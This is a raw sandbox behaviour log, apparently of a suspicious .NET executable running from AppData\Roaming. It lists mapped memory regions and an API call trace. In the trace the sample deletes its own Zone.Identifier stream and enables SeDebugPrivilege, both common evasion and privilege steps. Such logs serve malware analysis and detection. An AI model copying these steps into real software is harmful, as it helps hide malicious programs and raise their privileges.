	          end_va = 0x7518bfff
	     entry_point = 0x75180000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")

Region:
	              id = 782
	        start_va = 0x75190000
	          end_va = 0x751effff
	     entry_point = 0x75190000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")

Region:
	              id = 783
	        start_va = 0x75210000
	          end_va = 0x752fffff
	     entry_point = 0x75210000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")

Region:
	              id = 784
	        start_va = 0x759d0000
	          end_va = 0x75a6ffff
	     entry_point = 0x759d0000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")

Region:
	              id = 785
	        start_va = 0x76ec0000
	          end_va = 0x76ed8fff
	     entry_point = 0x76ec0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")

Region:
	              id = 786
	        start_va = 0x76fa0000
	          end_va = 0x7704bfff
	     entry_point = 0x76fa0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")

Region:
	              id = 787
	        start_va = 0x74340000
	          end_va = 0x743b7fff
	     entry_point = 0x74340000
	     region_type = mapped_file
	            name = "mscoreei.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")

Region:
	              id = 788
	        start_va = 0x940000
	          end_va = 0xac7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000940000"
	        filename = ""

Region:
	              id = 789
	        start_va = 0x753d0000
	          end_va = 0x7545ffff
	     entry_point = 0x753d0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")

Region:
	              id = 790
	        start_va = 0x756d0000
	          end_va = 0x75726fff
	     entry_point = 0x756d0000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")

Region:
	              id = 791
	        start_va = 0x75b00000
	          end_va = 0x75b9cfff
	     entry_point = 0x75b00000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")

Region:
	              id = 792
	        start_va = 0x75ce0000
	          end_va = 0x75dabfff
	     entry_point = 0x75ce0000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")

Region:
	              id = 793
	        start_va = 0x76d60000
	          end_va = 0x76dbffff
	     entry_point = 0x76d60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")

Region:
	              id = 794
	        start_va = 0x76dc0000
	          end_va = 0x76ebffff
	     entry_point = 0x76dc0000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")

Region:
	              id = 795
	        start_va = 0x77600000
	          end_va = 0x77609fff
	     entry_point = 0x77600000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")

Region:
	              id = 796
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000020000"
	        filename = ""

Region:
	              id = 797
	        start_va = 0x30000
	          end_va = 0x30fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 798
	        start_va = 0xad0000
	          end_va = 0xc50fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000ad0000"
	        filename = ""

Region:
	              id = 799
	        start_va = 0xc60000
	          end_va = 0x205ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000c60000"
	        filename = ""

Region:
	              id = 800
	        start_va = 0x75070000
	          end_va = 0x75078fff
	     entry_point = 0x75070000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll")

Region:
	              id = 906
	        start_va = 0x734b0000
	          end_va = 0x73b57fff
	     entry_point = 0x734b0000
	     region_type = mapped_file
	            name = "clr.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")

Region:
	              id = 907
	        start_va = 0x748d0000
	          end_va = 0x749c4fff
	     entry_point = 0x748d0000
	     region_type = mapped_file
	            name = "msvcr120_clr0400.dll"
	        filename = "\\Windows\\SysWOW64\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\syswow64\\msvcr120_clr0400.dll")

Region:
	              id = 937
	        start_va = 0x70000
	          end_va = 0x70fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000070000"
	        filename = ""

Region:
	              id = 938
	        start_va = 0x80000
	          end_va = 0x8ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000080000"
	        filename = ""

Region:
	              id = 939
	        start_va = 0x90000
	          end_va = 0x9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000090000"
	        filename = ""

Region:
	              id = 940
	        start_va = 0xa0000
	          end_va = 0xaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000a0000"
	        filename = ""

Region:
	              id = 941
	        start_va = 0xf0000
	          end_va = 0xfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000f0000"
	        filename = ""

Region:
	              id = 942
	        start_va = 0x290000
	          end_va = 0x29ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000290000"
	        filename = ""

Region:
	              id = 943
	        start_va = 0x2a0000
	          end_va = 0x2affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002a0000"
	        filename = ""

Region:
	              id = 944
	        start_va = 0x2b0000
	          end_va = 0x2b0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002b0000"
	        filename = ""

Region:
	              id = 945
	        start_va = 0x2c0000
	          end_va = 0x2c0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002c0000"
	        filename = ""

Region:
	              id = 946
	        start_va = 0x350000
	          end_va = 0x38ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000350000"
	        filename = ""

Region:
	              id = 947
	        start_va = 0x560000
	          end_va = 0x59ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000560000"
	        filename = ""

Region:
	              id = 948
	        start_va = 0x710000
	          end_va = 0x80ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000710000"
	        filename = ""

Region:
	              id = 949
	        start_va = 0x2060000
	          end_va = 0x20fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002060000"
	        filename = ""

Region:
	              id = 950
	        start_va = 0x2140000
	          end_va = 0x217ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002140000"
	        filename = ""

Region:
	              id = 951
	        start_va = 0x21a0000
	          end_va = 0x21dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000021a0000"
	        filename = ""

Region:
	              id = 952
	        start_va = 0x2230000
	          end_va = 0x226ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002230000"
	        filename = ""

Region:
	              id = 953
	        start_va = 0x2340000
	          end_va = 0x237ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002340000"
	        filename = ""

Region:
	              id = 954
	        start_va = 0x2380000
	          end_va = 0x437ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002380000"
	        filename = ""

Region:
	              id = 955
	        start_va = 0x4450000
	          end_va = 0x454ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004450000"
	        filename = ""

Region:
	              id = 956
	        start_va = 0x4580000
	          end_va = 0x467ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004580000"
	        filename = ""

Region:
	              id = 957
	        start_va = 0x4680000
	          end_va = 0x494efff
	     entry_point = 0x4680000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 958
	        start_va = 0x4a70000
	          end_va = 0x4b6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004a70000"
	        filename = ""

Region:
	              id = 959
	        start_va = 0x72280000
	          end_va = 0x734aafff
	     entry_point = 0x72280000
	     region_type = mapped_file
	            name = "mscorlib.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")

Region:
	              id = 960
	        start_va = 0x7efaa000
	          end_va = 0x7efacfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efaa000"
	        filename = ""

Region:
	              id = 961
	        start_va = 0x7efad000
	          end_va = 0x7efaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efad000"
	        filename = ""

Region:
	              id = 962
	        start_va = 0x7efd5000
	          end_va = 0x7efd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efd5000"
	        filename = ""

Region:
	              id = 963
	        start_va = 0x7efd8000
	          end_va = 0x7efdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efd8000"
	        filename = ""

Region:
	              id = 964
	        start_va = 0x75fb0000
	          end_va = 0x7610bfff
	     entry_point = 0x75fb0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")

Region:
	              id = 965
	        start_va = 0x74a30000
	          end_va = 0x74aaffff
	     entry_point = 0x74a30000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll")

Region:
	              id = 966
	        start_va = 0x2270000
	          end_va = 0x231ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002270000"
	        filename = ""

Region:
	              id = 967
	        start_va = 0x4950000
	          end_va = 0x4a2efff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004950000"
	        filename = ""

Region:
	              id = 968
	        start_va = 0x2d0000
	          end_va = 0x2dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002d0000"
	        filename = ""

Region:
	              id = 969
	        start_va = 0x74ff0000
	          end_va = 0x7506cfff
	     entry_point = 0x74ff0000
	     region_type = mapped_file
	            name = "clrjit.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")

Region:
	              id = 970
	        start_va = 0x76ee0000
	          end_va = 0x76f6efff
	     entry_point = 0x76ee0000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")

Region:
	              id = 971
	        start_va = 0x2e0000
	          end_va = 0x2effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002e0000"
	        filename = ""

Region:
	              id = 972
	        start_va = 0x2f0000
	          end_va = 0x2fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002f0000"
	        filename = ""

Region:
	              id = 973
	        start_va = 0x4e0000
	          end_va = 0x541fff
	     entry_point = 0x4e0000
	     region_type = mapped_file
	            name = "mscorrc.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorrc.dll")

Region:
	              id = 974
	        start_va = 0x70c70000
	          end_va = 0x718c7fff
	     entry_point = 0x70c70000
	     region_type = mapped_file
	            name = "system.windows.forms.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")

Region:
	              id = 975
	        start_va = 0x718d0000
	          end_va = 0x7227cfff
	     entry_point = 0x718d0000
	     region_type = mapped_file
	            name = "system.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")

Region:
	              id = 976
	        start_va = 0x74e40000
	          end_va = 0x74e52fff
	     entry_point = 0x74e40000
	     region_type = mapped_file
	            name = "nlssorting.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")

Region:
	              id = 977
	        start_va = 0x74e60000
	          end_va = 0x74fecfff
	     entry_point = 0x74e60000
	     region_type = mapped_file
	            name = "system.drawing.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")

Region:
	              id = 978
	        start_va = 0x4b70000
	          end_va = 0x4e41fff
	     entry_point = 0x4b70000
	     region_type = mapped_file
	            name = "sortdefault.nlp"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sortdefault.nlp")

Region:
	              id = 979
	        start_va = 0x76110000
	          end_va = 0x76d59fff
	     entry_point = 0x76110000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")

Region:
	              id = 980
	        start_va = 0x300000
	          end_va = 0x300fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000300000"
	        filename = ""

Region:
	              id = 981
	        start_va = 0x74e30000
	          end_va = 0x74e3afff
	     entry_point = 0x74e30000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll")

Region:
	              id = 982
	        start_va = 0x5030000
	          end_va = 0x506ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005030000"
	        filename = ""

Region:
	              id = 983
	        start_va = 0x74e10000
	          end_va = 0x74e26fff
	     entry_point = 0x74e10000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll")

Region:
	              id = 984
	        start_va = 0x74df0000
	          end_va = 0x74e05fff
	     entry_point = 0x74df0000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll")

Region:
	              id = 985
	        start_va = 0x74db0000
	          end_va = 0x74deafff
	     entry_point = 0x74db0000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 986
	        start_va = 0x310000
	          end_va = 0x310fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000310000"
	        filename = ""

Region:
	              id = 987
	        start_va = 0x390000
	          end_va = 0x3b9fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000390000"
	        filename = ""

Region:
	              id = 988
	        start_va = 0x600000
	          end_va = 0x63ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000600000"
	        filename = ""

Region:
	              id = 989
	        start_va = 0x2110000
	          end_va = 0x211ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002110000"
	        filename = ""

Region:
	              id = 990
	        start_va = 0x4e50000
	          end_va = 0x4f7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004e50000"
	        filename = ""

Region:
	              id = 991
	        start_va = 0x5080000
	          end_va = 0x517ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005080000"
	        filename = ""

Region:
	              id = 992
	        start_va = 0x5180000
	          end_va = 0x617ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005180000"
	        filename = ""

Region:
	              id = 993
	        start_va = 0x6180000
	          end_va = 0x717ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006180000"
	        filename = ""

Region:
	              id = 994
	        start_va = 0x7180000
	          end_va = 0x73cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007180000"
	        filename = ""

Region:
	              id = 995
	        start_va = 0x7efa7000
	          end_va = 0x7efa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efa7000"
	        filename = ""

Region:
	              id = 996
	        start_va = 0x758a0000
	          end_va = 0x758a4fff
	     entry_point = 0x758a0000
	     region_type = mapped_file
	            name = "psapi.dll"
	        filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")

Region:
	              id = 997
	        start_va = 0x70550000
	          end_va = 0x70c65fff
	     entry_point = 0x70550000
	     region_type = mapped_file
	            name = "system.core.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")

Region:
	              id = 998
	        start_va = 0x74c20000
	          end_va = 0x74daffff
	     entry_point = 0x74c20000
	     region_type = mapped_file
	            name = "gdiplus.dll"
	        filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")

Region:
	              id = 999
	        start_va = 0x73d0000
	          end_va = 0x74affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000073d0000"
	        filename = ""

Region:
	              id = 1000
	        start_va = 0x330000
	          end_va = 0x33ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000330000"
	        filename = ""

Region:
	              id = 1001
	        start_va = 0x2070000
	          end_va = 0x20affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002070000"
	        filename = ""

Region:
	              id = 1002
	        start_va = 0x7610000
	          end_va = 0x770ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007610000"
	        filename = ""

Region:
	              id = 1003
	        start_va = 0x747d0000
	          end_va = 0x748cafff
	     entry_point = 0x747d0000
	     region_type = mapped_file
	            name = "windowscodecs.dll"
	        filename = "\\Windows\\SysWOW64\\WindowsCodecs.dll" (normalized: "c:\\windows\\syswow64\\windowscodecs.dll")

Region:
	              id = 1004
	        start_va = 0x7efa4000
	          end_va = 0x7efa6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efa4000"
	        filename = ""

Region:
	              id = 1005
	        start_va = 0x74b0000
	          end_va = 0x75affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000074b0000"
	        filename = ""

Region:
	              id = 1006
	        start_va = 0x7710000
	          end_va = 0x780ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007710000"
	        filename = ""

Region:
	              id = 1007
	        start_va = 0x7810000
	          end_va = 0x7a0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007810000"
	        filename = ""

Region:
	              id = 1008
	        start_va = 0x3c0000
	          end_va = 0x3cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003c0000"
	        filename = ""

Region:
	              id = 1009
	        start_va = 0x7a10000
	          end_va = 0x7c0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000007a10000"
	        filename = ""

Region:
	              id = 1010
	        start_va = 0x3c0000
	          end_va = 0x3cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003c0000"
	        filename = ""

Region:
	              id = 1011
	        start_va = 0x3d0000
	          end_va = 0x3dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003d0000"
	        filename = ""

Region:
	              id = 1012
	        start_va = 0x550000
	          end_va = 0x55ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000550000"
	        filename = ""

Region:
	              id = 1013
	        start_va = 0x3c0000
	          end_va = 0x3cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003c0000"
	        filename = ""

Region:
	              id = 1014
	        start_va = 0x74170000
	          end_va = 0x7433afff
	     entry_point = 0x74170000
	     region_type = mapped_file
	            name = "microsoft.visualbasic.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")

Region:
	              id = 1047
	        start_va = 0x6d0000
	          end_va = 0x70ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000006d0000"
	        filename = ""

Region:
	              id = 1048
	        start_va = 0x4fe0000
	          end_va = 0x501ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004fe0000"
	        filename = ""

Region:
	              id = 1049
	        start_va = 0x50a0000
	          end_va = 0x50dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000050a0000"
	        filename = ""

Region:
	              id = 1050
	        start_va = 0x51e0000
	          end_va = 0x52dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000051e0000"
	        filename = ""

Region:
	              id = 1051
	        start_va = 0x54a0000
	          end_va = 0x559ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000054a0000"
	        filename = ""

Region:
	              id = 1052
	        start_va = 0x55e0000
	          end_va = 0x56dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000055e0000"
	        filename = ""

Region:
	              id = 1053
	        start_va = 0x74c10000
	          end_va = 0x74c1dfff
	     entry_point = 0x74c10000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll")

Region:
	              id = 1054
	        start_va = 0x7ef9e000
	          end_va = 0x7efa0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef9e000"
	        filename = ""

Region:
	              id = 1055
	        start_va = 0x7efa1000
	          end_va = 0x7efa3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efa1000"
	        filename = ""


Thread:
	id = 55
	os_tid = 0xafc

	[0039.486] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0
	[0041.022] SleepEx (dwMilliseconds=0x706, bAlertable=1) returned 0x0
	[0043.219] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x4db09c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43
	[0043.228] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x4db100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43
	[0043.229] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x4db560) returned 1
	[0043.229] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x4db5dc | out: lpFileInformation=0x4db5dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92785300, ftCreationTime.dwHighDateTime=0x1cd5d48, ftLastAccessTime.dwLowDateTime=0x346650f0, ftLastAccessTime.dwHighDateTime=0x1d2f186, ftLastWriteTime.dwLowDateTime=0x92785300, ftLastWriteTime.dwHighDateTime=0x1cd5d48, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1
	[0043.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x4db55c) returned 1
	[0043.332] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x4db2ec | out: pfEnabled=0x4db2ec) returned 0x0
	[0044.299] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe:Zone.Identifier" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\jsjhdhdhdhjfjhhf.exe:zone.identifier")) returned 0
	[0044.335] GetCurrentProcessId () returned 0xaf8
	[0044.342] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x4de46c | out: lpLuid=0x4de46c*(LowPart=0x14, HighPart=0)) returned 1
	[0044.342] GetCurrentProcess () returned 0xffffffff
	[0044.343] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x4de468 | out: TokenHandle=0x4de468*=0x244) returned 1
	[0044.343] AdjustTokenPrivileges (in: TokenHandle=0x244, DisableAllPrivileges=0, NewState=0x238c058*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0044.344] CloseHandle (hObject=0x244) returned 1
	[0044.345] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xaf8) returned 0x244
	[0044.353] EnumProcessModules (in: hProcess=0x244, lphModule=0x238c09c, cb=0x100, lpcbNeeded=0x4debc8 | out: lphModule=0x238c09c, lpcbNeeded=0x4debc8) returned 1
	[0044.354] GetModuleInformation (in: hProcess=0x244, hModule=0x100000, lpmodinfo=0x238c1dc, cb=0xc | out: lpmodinfo=0x238c1dc*(lpBaseOfDll=0x100000, SizeOfImage=0x11a000, EntryPoint=0x2143ee)) returned 1
	[0044.355] CoTaskMemAlloc (cb=0x804) returned 0x8bd8c0
	[0044.355] GetModuleBaseNameW (in: hProcess=0x244, hModule=0x100000, lpBaseName=0x8bd8c0, nSize=0x800 | out: lpBaseName="jsjhdhdhdhjfjhhf.exe") returned 0x14
	[0044.355] CoTaskMemFree (pv=0x8bd8c0) 
	[0044.356] CoTaskMemAlloc (cb=0x804) returned 0x8bd8c0
	[0044.356] GetModuleFileNameExW (in: hProcess=0x244, hModule=0x100000, lpFilename=0x8bd8c0, nSize=0x800 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\jsjhdhdhdhjfjhhf.exe")) returned 0x36
	[0044.356] CoTaskMemFree (pv=0x8bd8c0) 
	[0044.356] CloseHandle (hObject=0x244) returned 1
	[0044.577] GetCurrentProcessId () returned 0xaf8
	[0044.577] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xaf8) returned 0x244
	[0044.577] EnumProcessModules (in: hProcess=0x244, lphModule=0x238e42c, cb=0x100, lpcbNeeded=0x4dea80 | out: lphModule=0x238e42c, lpcbNeeded=0x4dea80) returned 1
	[0044.578] GetModuleInformation (in: hProcess=0x244, hModule=0x100000, lpmodinfo=0x238e56c, cb=0xc | out: lpmodinfo=0x238e56c*(lpBaseOfDll=0x100000, SizeOfImage=0x11a000, EntryPoint=0x2143ee)) returned 1
	[0044.578] CoTaskMemAlloc (cb=0x804) returned 0x8bd8c0
